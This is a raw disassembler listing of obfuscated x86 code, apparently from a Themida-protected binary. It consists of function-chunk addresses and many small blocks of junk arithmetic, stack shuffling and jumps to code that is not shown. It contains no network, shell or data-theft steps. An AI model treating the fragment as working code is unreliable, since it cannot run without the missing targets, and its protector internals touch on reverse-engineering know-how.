; FUNCTION CHUNK AT 005587E1 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0055883A SIZE 00000063 BYTES
; FUNCTION CHUNK AT 005588EE SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00558943 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00558969 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00558991 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005589E6 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00558A24 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00558A5D SIZE 00000054 BYTES
; FUNCTION CHUNK AT 00558AF4 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00558B45 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00558B70 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00558BE5 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00558C33 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 00558CB4 SIZE 00000074 BYTES
; FUNCTION CHUNK AT 00558D39 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00558D56 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00558DA6 SIZE 00000072 BYTES
; FUNCTION CHUNK AT 00558E1F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00558E58 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 00558EC7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558EE5 SIZE 0000008F BYTES
; FUNCTION CHUNK AT 00558FA9 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00558FE0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00559024 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0055908E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005590B7 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00559107 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 00559156 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005591BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005591D9 SIZE 0000009D BYTES
; FUNCTION CHUNK AT 00559288 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005592CE SIZE 00000055 BYTES
; FUNCTION CHUNK AT 00559334 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00559388 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005593DF SIZE 000000A0 BYTES
; FUNCTION CHUNK AT 005594A7 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005594F0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00559511 SIZE 0000006B BYTES
; FUNCTION CHUNK AT 00559585 SIZE 00000094 BYTES
; FUNCTION CHUNK AT 00559620 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00559638 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00559661 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055969F SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00559713 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559735 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559754 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559771 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055979D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00559819 SIZE 000000D8 BYTES
; FUNCTION CHUNK AT 00559929 SIZE 00000070 BYTES
; FUNCTION CHUNK AT 005599C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005599DF SIZE 0000004F BYTES
; FUNCTION CHUNK AT 00559A39 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 00559AB4 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 00559B3F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559B4D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00559B75 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 00559BEB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559C01 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00559C3F SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0055DB42 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 0055DC0A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055DC22 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055DC5E SIZE 000000B2 BYTES
; FUNCTION CHUNK AT 0055DD31 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055DD70 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055DD91 SIZE 000000BD BYTES
; FUNCTION CHUNK AT 0055DE5E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055DE89 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0055DEF2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055DF18 SIZE 000000C9 BYTES
; FUNCTION CHUNK AT 0055DFEA SIZE 0000009F BYTES
; FUNCTION CHUNK AT 0055E091 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055E0AF SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0055E136 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055E141 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055E162 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055E198 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0055E204 SIZE 00000067 BYTES
; FUNCTION CHUNK AT 0055E287 SIZE 00000098 BYTES
; FUNCTION CHUNK AT 0055E326 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055E36C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0055E3D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055E3E8 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0055E446 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055E480 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055E4A8 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055E4F6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055E525 SIZE 00000072 BYTES
; FUNCTION CHUNK AT 0055E5AB SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0055E619 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055E653 SIZE 000000FE BYTES
; FUNCTION CHUNK AT 0055E767 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055E78A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055E7B8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055E7E0 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055E826 SIZE 00000078 BYTES
; FUNCTION CHUNK AT 0055E8A6 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055E908 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055E940 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055E96C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055E981 SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0055EA0E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055EA1E SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0055EA83 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055EAB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055EADE SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055EB13 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055EB76 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0055EBD3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055EC02 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0055EC66 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0055ED2D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055ED72 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055EDAD SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0055EE06 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0055EE87 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055EE9C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055EF01 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0055EF7F SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0055EFE6 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 0055F058 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055F096 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0055F0DE SIZE 00000078 BYTES
; FUNCTION CHUNK AT 0055F165 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055F198 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0055F1F0 SIZE 00000085 BYTES
; FUNCTION CHUNK AT 0055F28F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055F2AF SIZE 000000B6 BYTES
; FUNCTION CHUNK AT 0055F370 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055F395 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0055F3DF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055F3FE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055F41A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055F440 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055F46D SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0055F4B8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055F4DD SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0055F580 SIZE 00000088 BYTES
; FUNCTION CHUNK AT 0055F61D SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0055F67E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0055F6C9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055F710 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0055F768 SIZE 000000AE BYTES
; FUNCTION CHUNK AT 0055F833 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055F87B SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055F8C0 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0055F92C SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0055F995 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055F9C3 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0055FA1D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055FA35 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055FA86 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 0055FB14 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055FB43 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055FB6A SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0055FBBF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055FBE9 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055FC1D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055FC38 SIZE 00000008 BYTES

		sub	esp, 4
		push	0A90h
		mov	[esp+62h+var_64+2], esp
		add	[esp+62h+var_64+2], 4
		pop	[esp+62h+var_64+2]
		sub	esp, 4
		jmp	loc_55C44C
; ---------------------------------------------------------------------------


loc_559CA4:				; CODE XREF: sub_559C84+3309j
		add	esp, 4
		pop	esi
		xor	ebp, 1A5A418h
		and	eax, ebp
		mov	ebp, [esp+5Ah+var_5C+2]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+5Eh+var_60+2]
		jmp	loc_555DD0
; ---------------------------------------------------------------------------


loc_559CC7:				; CODE XREF: sub_559C84-18F9j
		shr	ebp, 6
		push	edx
		mov	edx, 0FF74FE4Ah
		jmp	loc_556499
; ---------------------------------------------------------------------------


loc_559CD5:				; CODE XREF: sub_559C84+1448j
		mov	edx, edi
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp+2Eh+var_30+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_55D0EF
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+32h+var_34+2]
		jmp	loc_558943
; ---------------------------------------------------------------------------


loc_559D02:				; CODE XREF: sub_559C84-4326j
		sub	bl, 0B4h
		add	bl, al
		add	bl, 0B4h
		push	ax
		mov	ah, 0F4h
		sub	bl, ah
		pop	ax
		push	ax
		mov	ah, 6
		sub	bl, ah
		jmp	loc_55B0FF
; ---------------------------------------------------------------------------


loc_559D1D:				; CODE XREF: sub_559C84-1FADj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+3Eh+var_3E]
		jmp	loc_557F74
; ---------------------------------------------------------------------------


loc_559D33:				; CODE XREF: sub_559C84+690j
		pop	ecx
		push	ebp
		mov	ebp, 455669D8h
		sub	esp, 4
		mov	[esp+42h+var_42], esi
		mov	esi, 3E6203EFh
		or	esi, 5CEB572Fh
		add	esi, 1
		add	esi, 49004BBAh
		push	edi
		jmp	loc_55DC81
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+46h+var_46]
		push	edi
		jmp	loc_55F0FB
; ---------------------------------------------------------------------------


loc_559D67:				; CODE XREF: sub_559C84+2AABj
		add	ebx, 98080B0Ah
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, edi
		mov	ebp, eax
		pop	eax
		pop	edi
		add	edx, ebp
		jmp	loc_558E1F
; ---------------------------------------------------------------------------


loc_559D7E:				; CODE XREF: Themida_:00557128j
		push	23F6h
		mov	[esp+46h+var_46], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4Ah+var_4A]
		pop	esp
		push	esp
		pop	[esp+4Ah+var_4A]
		add	[esp+46h+var_46], 4
		pop	edx
		add	edx, 4
		push	ebx
		push	edx
		mov	edx, 12BF2279h
		inc	edx
		not	edx
		dec	edx
		xor	edx, 0EF17A465h
		jmp	loc_55C2E6
; ---------------------------------------------------------------------------


loc_559DC1:				; CODE XREF: sub_559C84-6B5j
		xor	[esp+4Ah+var_4A], ebp
		xor	ebp, [esp+4Ah+var_4A]
		mov	esp, [esp+4Ah+var_4A]
		mov	[esp+4Ah+var_4A], edx
		push	eax
		pushf
		jmp	loc_55CB56
; ---------------------------------------------------------------------------


loc_559DD4:				; CODE XREF: Themida_:0055F4B3j
		sub	word ptr [esp+52h+var_52+2], 3726h
		add	word ptr [esp+52h+var_52+2], 13CFh
		jmp	loc_554C88
; ---------------------------------------------------------------------------


loc_559DE7:				; CODE XREF: sub_559C84-620Aj
		shr	cl, 3
		jmp	loc_557C4D
; ---------------------------------------------------------------------------


loc_559DEF:				; CODE XREF: sub_559C84-5673j
		add	edx, 4
		sub	esp, 4
		mov	[esp+40h+var_42+2], ecx
		mov	ecx, 2
		add	edx, 181C6F30h
		sub	edx, ecx
		sub	edx, 181C6F30h
		jmp	loc_55627E
; ---------------------------------------------------------------------------


loc_559E13:				; CODE XREF: sub_559C84-258Dj
		pop	ecx
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp+46h+var_46]
		jmp	loc_55B412
; ---------------------------------------------------------------------------


loc_559E25:				; CODE XREF: sub_559C84-50D2j
		push	edi
		jmp	loc_55C14A
; ---------------------------------------------------------------------------


loc_559E2B:				; CODE XREF: sub_559C84+28D2j
		mov	edi, 36DE09ADh
		sub	[esp+4Eh+var_46], edi
		pop	edi
		pop	ecx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_559E3B:				; CODE XREF: sub_559C84-BA5j
		push	small word ptr [eax]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_559E43:				; CODE XREF: sub_559C84-2715j
		mov	ebx, esp
		jmp	loc_5548A0
; ---------------------------------------------------------------------------


loc_559E4A:				; CODE XREF: sub_559C84+583Aj
		sub	ebx, esi
		pop	esi
		mov	esi, [esp+48h+var_4A+2]
		jmp	loc_55F496
; ---------------------------------------------------------------------------


loc_559E55:				; CODE XREF: sub_559C84+4BC4j
		pop	dword ptr [ebx]
		jmp	loc_55F9CB
; ---------------------------------------------------------------------------


loc_559E5C:				; CODE XREF: sub_559C84+1352j
		xchg	ebp, [esp+44h+var_46+2]
		jmp	loc_55FAEE
; ---------------------------------------------------------------------------


loc_559E64:				; CODE XREF: sub_559C84-592Dj
		xor	ebp, 0CD9677D0h
		jmp	loc_557759
; ---------------------------------------------------------------------------


loc_559E6F:				; CODE XREF: sub_559C84+2872j
		pop	eax
		jmp	loc_558A24
; ---------------------------------------------------------------------------


loc_559E75:				; CODE XREF: sub_559C84-1CB3j
		push	ecx
		mov	ecx, 217D7F03h
		mov	eax, 0EB06C24Dh
		add	eax, ecx
		pop	ecx
		shl	eax, 2
		and	eax, 11C16803h
		inc	eax
		add	eax, 102860F1h
		xor	eax, 202960F6h
		mov	esi, eax
		pop	eax
		add	ebp, 4076A96h
		sub	ebp, esi
		push	ecx
		mov	ecx, 6170017Fh
		not	ecx
		neg	ecx
		xor	ecx, 5B26151Fh
		shl	ecx, 1
		xor	ecx, 70AB43A8h
		jmp	loc_556343
; ---------------------------------------------------------------------------


loc_559EBE:				; CODE XREF: sub_55E640-937Bj
		xor	ebp, 44894FE2h
		add	ecx, ebp
		pop	ebp
		mov	edi, ecx
		pop	ecx
		sub	[esp+4Eh+var_4A], 2F312104h
		add	[esp+4Eh+var_4A], 504052D9h
		add	[esp+4Eh+var_4A], edi
		sub	[esp+4Eh+var_4A], 504052D9h
		add	[esp+4Eh+var_4A], 2F312104h
		pop	edi
		pop	ecx
		sub	esp, 4
		jmp	loc_556B68
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+48h+var_4A+2], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_559F08:				; CODE XREF: sub_559C84+4E5j
		xchg	ebx, [esp+4Ch+var_4E+2]
		pop	esp
		add	ebx, 66C521D7h
		jmp	loc_55DEA6
; ---------------------------------------------------------------------------


loc_559F17:				; CODE XREF: sub_559C84+5542j
		mov	ax, 1A92h
		sub	word ptr [esp+48h+var_42], ax
		pop	ax
		mov	dx, word ptr [esp+46h+var_46]
		add	esp, 2
		pop	cx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_559F30:				; CODE XREF: sub_559C84+4791j
		xchg	edi, [esp+40h+var_42+2]
		pop	esp
		jmp	loc_55DD91
; ---------------------------------------------------------------------------
		push	[esp+3Ch+var_3E+2]
		pop	eax
		push	489Ah
		mov	[esp+40h+var_42+2], edi
		push	esp
		pop	edi
		push	ebp
		push	esi
		mov	esi, 7BE6431Fh
		mov	ebp, esi
		pop	esi
		or	ebp, 1AC92F0Ch
		xor	ebp, 54A35DCBh
		add	ebp, 0D0B3CD30h
		add	edi, 7C044A96h
		add	edi, ebp
		sub	edi, 7C044A96h
		pop	ebp
		push	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_555156
; ---------------------------------------------------------------------------


loc_559F7E:				; CODE XREF: sub_559C84+3466j
		or	ch, 0ACh
		or	ch, 0A8h
		sub	ch, 9Eh
		xor	ch, 78h
		shr	ch, 7
		neg	ch
		add	ch, 0F1h
		push	ebx
		mov	bl, 77h
		or	bl, 8
		xor	bl, 8
		or	bl, 0ACh
		push	cx
		mov	cl, 31h
		jmp	loc_55B4BC
; ---------------------------------------------------------------------------


loc_559FA7:				; CODE XREF: sub_559C84+4859j
		mov	[esp+4Eh+var_4E], edi
		mov	edi, 0B4C6651Eh
		add	ebx, edi
		pop	edi
		sub	eax, ebx
		mov	ebx, [esp+4Ah+var_4A]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 15A27FF4h
		add	eax, 0EF369179h
		mov	ecx, eax
		pop	eax
		and	ecx, 38F45342h
		push	esi
		mov	esi, 7AF769F0h
		sub	esi, 0C7AEE984h
		sub	ecx, esi
		pop	esi
		xor	eax, ecx
		push	[esp+4Ah+var_4A]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 3F431FAFh
		dec	eax
		shl	eax, 7
		push	ebx
		push	ecx
		jmp	loc_553DEB
; ---------------------------------------------------------------------------


loc_559FFB:				; CODE XREF: sub_559C84+3220j
		push	ebx
		sub	esp, 4
		mov	[esp+62h+var_64+2], eax
		jmp	loc_554D20
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+62h+var_64+2]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A010:				; DATA XREF: Themida_:00553448o
		push	[esp+62h+var_64+2]
		mov	ecx, [esp+0]
		jmp	loc_55D352
; ---------------------------------------------------------------------------


loc_55A01B:				; CODE XREF: sub_559C84+1BD7j
		pop	edx
		jmp	loc_558065
; ---------------------------------------------------------------------------


loc_55A021:				; CODE XREF: sub_559C84-7Dj
		sub	edx, 47942D5h
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A02C:				; CODE XREF: sub_559C84+2FCFj
		pop	edx
		add	al, 74h
		jmp	loc_55EDAD
; ---------------------------------------------------------------------------


loc_55A034:				; CODE XREF: Themida_:0055E13Cj
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+56h+var_58+2], edi
		mov	edi, 7AA70F44h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		mov	ecx, [esp+5Eh+var_60+2]
		jmp	loc_555CA7
; ---------------------------------------------------------------------------


loc_55A05A:				; CODE XREF: sub_559C84-4B69j
		pop	ebp
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 7D674C2Ch
		add	[esp-0Ah+arg_8+2], esi
		pop	esi
		mov	ecx, [esp-0Eh+arg_8+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55B7D7
; ---------------------------------------------------------------------------


loc_55A07D:				; CODE XREF: sub_559C84+A04j
		sub	dh, ah
		add	dh, 0B0h
		sub	esp, 4
		jmp	loc_557A82
; ---------------------------------------------------------------------------


loc_55A08D:				; CODE XREF: sub_559C84-2550j
		add	esi, 4
		add	esi, 4
		push	70A0h
		mov	[esp+46h+var_46], esi
		push	[esp+46h+var_42]
		pop	esi
		pop	[esp+46h+var_46]
		mov	esp, [esp+42h+var_42]
		jmp	loc_555426
; ---------------------------------------------------------------------------


loc_55A0B1:				; CODE XREF: sub_559C84+C71j
		sub	bl, al
		sub	bl, 0A8h
		jmp	loc_55D308
; ---------------------------------------------------------------------------


loc_55A0BB:				; CODE XREF: Themida_:005599C1j
		xor	esi, [esp+42h+var_42]
		xor	[esp+42h+var_42], esi
		jmp	loc_5566D7
; ---------------------------------------------------------------------------


loc_55A0C6:				; CODE XREF: sub_559C84-3367j
		push	ebx
		jmp	loc_556208
; ---------------------------------------------------------------------------


loc_55A0CC:				; CODE XREF: sub_557ED1+6450j
		pop	ebx
		jmp	loc_555F08
; ---------------------------------------------------------------------------


loc_55A0D2:				; CODE XREF: sub_559C84+4891j
		xor	edi, [esp-1Eh+arg_18+2]
		xor	[esp-1Eh+arg_18+2], edi
		jmp	loc_55F67E
; ---------------------------------------------------------------------------


loc_55A0DD:				; CODE XREF: sub_559C84+518Cj
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A0E2:				; CODE XREF: sub_559C84-3A9Dj
		xchg	ecx, [esp+40h+var_42+2]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		push	eax
		xor	[esp+40h+var_42+2], ebp
		xor	ebp, [esp+40h+var_42+2]
		xor	[esp+40h+var_42+2], ebp
		push	ebp
		xor	[esp+44h+var_46+2], edi
		jmp	loc_55F64F
; ---------------------------------------------------------------------------


loc_55A0FE:				; CODE XREF: sub_558756+9j
		add	esi, edi
		sub	esi, 2B2D1C06h
		pop	edi
		xchg	esi, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		sar	byte ptr [esp+40h+var_42+2], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A116:				; CODE XREF: sub_559C84+5D74j
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		push	edi
		mov	edi, esp
		jmp	loc_55ABAE
; ---------------------------------------------------------------------------


loc_55A127:				; DATA XREF: Themida_:005534B0o
		mov	cx, word ptr [esp+44h+var_46+2]
		push	edi
		mov	edi, esp
		jmp	sub_557AD1
; ---------------------------------------------------------------------------


loc_55A133:				; CODE XREF: sub_559C84+2D7Dj
		pop	esi
		sub	esi, 0EFEFF66Ch
		jmp	loc_55C71C
; ---------------------------------------------------------------------------


loc_55A13F:				; CODE XREF: sub_559C84+B10j
		add	ch, bl
		pop	ebx
		jmp	loc_553985
; ---------------------------------------------------------------------------


loc_55A147:				; CODE XREF: sub_559C84-5AC8j
		mov	[esp+8+var_8], eax
		jmp	loc_55E5B2
; ---------------------------------------------------------------------------


loc_55A14F:				; CODE XREF: sub_559C84+8DEj
		xor	ebp, [esp+8+var_8]
		jmp	loc_555208
; ---------------------------------------------------------------------------


loc_55A157:				; CODE XREF: sub_55598B+3C90j
		pop	eax
		and	ebx, ebp
		mov	ebp, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_559F08
; ---------------------------------------------------------------------------


loc_55A16E:				; CODE XREF: sub_5597C1+5997j
		push	edx
		push	esp
		jmp	loc_5540A7
; ---------------------------------------------------------------------------


loc_55A175:				; CODE XREF: sub_559C84+1A29j
		push	edx
		jmp	loc_55D52C
; ---------------------------------------------------------------------------


loc_55A17B:				; CODE XREF: Themida_:005554A8j
		add	edi, 4
		add	edi, 2
		xor	edi, [esp+14h+var_14]
		xor	[esp+14h+var_14], edi
		xor	edi, [esp+14h+var_14]
		pop	esp
		mov	cx, word ptr [esp+10h+var_10]
		push	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		jmp	loc_558664
; ---------------------------------------------------------------------------


loc_55A1A8:				; CODE XREF: sub_553D58+AF6Fj
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 5D9E3986h
		push	eax
		mov	eax, 202A73C0h
		xor	edi, eax
		pop	eax
		xor	edi, 7DB44A42h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_555FF4
; ---------------------------------------------------------------------------


loc_55A1CB:				; CODE XREF: sub_559C84+2A81j
		pop	ebx
		mov	eax, esi
		mov	esi, [esp+14h+var_14]
		jmp	loc_55406C
; ---------------------------------------------------------------------------


loc_55A1D6:				; CODE XREF: sub_559C84+BFDj
		mov	edi, esp
		jmp	loc_55F4C3
; ---------------------------------------------------------------------------


loc_55A1DD:				; CODE XREF: Themida_:0055970Ej
		mov	[esp+14h+var_14], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_55D748
; ---------------------------------------------------------------------------


loc_55A1ED:				; CODE XREF: sub_559C84+3E27j
		mov	[esp+10h+var_10], edx
		jmp	loc_559BA6
; ---------------------------------------------------------------------------


loc_55A1F5:				; CODE XREF: sub_559C84+28A2j
		mov	ecx, 4D33588Ah
		shr	ecx, 3
		sub	ecx, 6EB54A2Ch
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		push	ecx
		push	esi
		pop	ecx
		pop	esi
		jmp	loc_55365B
; ---------------------------------------------------------------------------


loc_55A212:				; CODE XREF: sub_559C84+4F0Ej
		and	ch, 77h
		jmp	loc_55A264
; ---------------------------------------------------------------------------


loc_55A21A:				; CODE XREF: sub_559C84+386Dj
		add	ebp, 76FD7F09h
		pop	eax
		not	ebp
		inc	ebp
		push	ebx
		jmp	loc_553A8D
; ---------------------------------------------------------------------------


loc_55A22A:				; CODE XREF: sub_559C84-5BC8j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A22F:				; CODE XREF: sub_5556C9+11j
		xchg	ecx, [esp-4+arg_0]
		jmp	$+5
		pop	esp
		add	edi, 4
		jmp	loc_55B4F5
; ---------------------------------------------------------------------------


loc_55A243:				; CODE XREF: sub_559C84-209Aj
		pop	dx
		sub	al, 49h
		add	al, 69h
		jmp	loc_5573DB
; ---------------------------------------------------------------------------


loc_55A24E:				; CODE XREF: sub_5553CB+2A7Dj
		pop	esp
		add	edx, 605939F2h
		sub	edx, esi
		push	ebx
		mov	ebx, 605939F2h
		sub	edx, ebx
		jmp	loc_55E9D9
; ---------------------------------------------------------------------------


loc_55A264:				; CODE XREF: sub_559C84+591j
		not	ch
		inc	ch
		sub	ch, 0D6h
		jmp	loc_555032
; ---------------------------------------------------------------------------


loc_55A270:				; CODE XREF: sub_559C84+269Cj
		mov	ebp, 49046F5Fh
		sub	edx, 28656DD1h
		add	edx, ebp
		jmp	loc_55DB5C
; ---------------------------------------------------------------------------


loc_55A282:				; CODE XREF: sub_5538DF+5AA4j
		add	al, 20h
		add	al, ch
		jmp	sub_553D58
; ---------------------------------------------------------------------------


loc_55A28B:				; CODE XREF: sub_559C84+3D45j
		push	547Ah
		jmp	loc_55D609
; ---------------------------------------------------------------------------


loc_55A295:				; CODE XREF: sub_559C84-31CFj
		pop	edx
		add	bl, al
		jmp	loc_558571
; ---------------------------------------------------------------------------


loc_55A29D:				; CODE XREF: sub_559C84-8E2j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55802B
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 0F5h
		sub	al, 7Ch
		jmp	loc_55A8AF
; ---------------------------------------------------------------------------


loc_55A2B5:				; CODE XREF: sub_559C84+566Cj
		pop	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_559220
; ---------------------------------------------------------------------------


